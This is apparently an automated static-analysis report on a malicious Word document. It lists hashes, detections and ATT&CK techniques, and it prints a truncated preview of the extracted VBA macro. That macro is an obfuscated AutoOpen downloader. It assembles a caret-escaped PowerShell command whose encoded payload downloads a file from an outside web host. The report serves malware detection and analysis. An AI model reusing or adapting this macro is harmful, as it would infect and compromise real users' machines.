Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6f55ae8813d30152…

MALICIOUS

Office (OLE)

177.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: aa764ed43290ff6b411ffb7b7771734d SHA-1: 0780a4d8e5d51cf9b80659b98a8667c8a9b3be74 SHA-256: 6f55ae8813d301524e8c741f3236bd91c4f4825d77442407d371c3e8dd7a0cc3
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that executes upon opening. The AutoOpen macro constructs and executes a command string, likely to download and run a second-stage payload. The ClamAV detection and the presence of an AutoOpen macro strongly indicate malicious intent.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 69140 bytes
SHA-256: 1f54090aecc6eb5c463a9df9ea0403b21dd8736ab4e8708d9bb9393268a7d0c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const GcaVLIwiqEbYOpiiINyCUbnEfano = 0
Sub AutoOpen()
On Error Resume Next
Dim RoSEQaTUqiPOgUJefERenyCqaOmyVEnIjitU(4)

If 10 = 10 + (3 * 0) Then
RoSEQaTUqiPOgUJefERenyCqaOmyVEnIjitU(0) = CLng(6467)
End If
RoSEQaTUqiPOgUJefERenyCqaOmyVEnIjitU(1) = Sqr(3)
RoSEQaTUqiPOgUJefERenyCqaOmyVEnIjitU(2) = Month(64676467)
RoSEQaTUqiPOgUJefERenyCqaOmyVEnIjitU(3) = Fix(6467.3)
Dim aagezuJiXyZACoFUqUWePXEjYDEDeBelUqIP(4)

If 11 = 11 + (10 * 0) Then
aagezuJiXyZACoFUqUWePXEjYDEDeBelUqIP(0) = CLng(7084)
End If
aagezuJiXyZACoFUqUWePXEjYDEDeBelUqIP(1) = Sqr(10)
aagezuJiXyZACoFUqUWePXEjYDEDeBelUqIP(2) = Month(70847084)
aagezuJiXyZACoFUqUWePXEjYDEDeBelUqIP(3) = Fix(7084.1)
wUaPeGUjYiaZoQeXeVQUmBaSoluCekYv = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^n^A^G^8^A^c^g^B^s^A^H^g^A^b^w^B^h^A^G"
Dim JeYlUROzEiynIHAdItAkAtopaiUpAmuC(4)

If 12 = 12 + (1 * 0) Then
JeYlUROzEiynIHAdItAkAtopaiUpAmuC(0) = CLng(1428)
End If
JeYlUROzEiynIHAdItAkAtopaiUpAmuC(1) = Sqr(1)
JeYlUROzEiynIHAdItAkAtopaiUpAmuC(2) = Month(14281428)
JeYlUROzEiynIHAdItAkAtopaiUpAmuC(3) = Fix(1428.1)
Dim poZOseqYdAQCaGynaxAMYBeFyjaFUfydAMYhA(4)

If 10 = 10 + (1 * 0) Then
poZOseqYdAQCaGynaxAMYBeFyjaFUfydAMYhA(0) = CLng(5968)
End If
poZOseqYdAQCaGynaxAMYBeFyjaFUfydAMYhA(1) = Sqr(1)
poZOseqYdAQCaGynaxAMYBeFyjaFUfydAMYhA(2) = Month(59685968)
poZOseqYdAQCaGynaxAMYBeFyjaFUfydAMYhA(3) = Fix(5968.1)

Dim cozOtiNAGOrAvoNyNAgeGOiQEwEnExEmIkEmuEeTuJe(4)
Dim ViPuhyBivAWwykaHAdAXIpYRyhYteVufE(4)

If 12 = 12 + (8 * 0) Then
ViPuhyBivAWwykaHAdAXIpYRyhYteVufE(0) = CLng(2700)
End If
ViPuhyBivAWwykaHAdAXIpYRyhYteVufE(1) = Sqr(8)
ViPuhyBivAWwykaHAdAXIpYRyhYteVufE(2) = Month(27002700)
ViPuhyBivAWwykaHAdAXIpYRyhYteVufE(3) = Fix(2700.8)
Dim UNozaRUcYxYivuiiWIhEBViTACA(4)

If 12 = 12 + (7 * 0) Then
UNozaRUcYxYivuiiWIhEBViTACA(0) = CLng(4213)
End If
UNozaRUcYxYivuiiWIhEBViTACA(1) = Sqr(7)
UNozaRUcYxYivuiiWIhEBViTACA(2) = Month(42134213)
UNozaRUcYxYivuiiWIhEBViTACA(3) = Fix(4213.7)

If 11 = 11 + (1 * 0) Then
Dim PYkaQePYJaieRDaRITeReaukADuqoXAGTO(4)

If 13 = 13 + (5 * 0) Then
PYkaQePYJaieRDaRITeReaukADuqoXAGTO(0) = CLng(2817)
End If
PYkaQePYJaieRDaRITeReaukADuqoXAGTO(1) = Sqr(5)
PYkaQePYJaieRDaRITeReaukADuqoXAGTO(2) = Month(28172817)
PYkaQePYJaieRDaRITeReaukADuqoXAGTO(3) = Fix(2817.5)
Dim ViZwEKosyWycAxiNIFynmapozOtaGS(4)

If 12 = 12 + (5 * 0) Then
ViZwEKosyWycAxiNIFynmapozOtaGS(0) = CLng(5070)
End If
ViZwEKosyWycAxiNIFynmapozOtaGS(1) = Sqr(5)
ViZwEKosyWycAxiNIFynmapozOtaGS(2) = Month(50705070)
ViZwEKosyWycAxiNIFynmapozOtaGS(3) = Fix(5070.5)
cozOtiNAGOrAvoNyNAgeGOiQEwEnExEmIkEmuEeTuJe(0) = CLng(4336)
Dim TeNeVyDUDGEWoMmAGiGiTyMIloSEpU(4)

If 11 = 11 + (9 * 0) Then
TeNeVyDUDGEWoMmAGiGiTyMIloSEpU(0) = CLng(4467)
End If
TeNeVyDUDGEWoMmAGiGiTyMIloSEpU(1) = Sqr(9)
TeNeVyDUDGEWoMmAGiGiTyMIloSEpU(2) = Month(44674467)
TeNeVyDUDGEWoMmAGiGiTyMIloSEpU(3) = Fix(4467.9)
Dim CuHUbIfeaOMoxYiXyfPsOduJUNaWImoTiMOtA(4)

If 11 = 11 + (1 * 0) Then
CuHUbIfeaOMoxYiXyfPsOduJUNaWImoTiMOtA(0) = CLng(9454)
End If
CuHUbIfeaOMoxYiXyfPsOduJUNaWImoTiMOtA(1) = Sqr(1)
CuHUbIfeaOMoxYiXyfPsOduJUNaWImoTiMOtA(2) = Month(94549454)
CuHUbIfeaOMoxYiXyfPsOduJUNaWImoTiMOtA(3) = Fix(9454.1)
End If
cozOtiNAGOrAvoNyNAgeGOiQEw
... (truncated)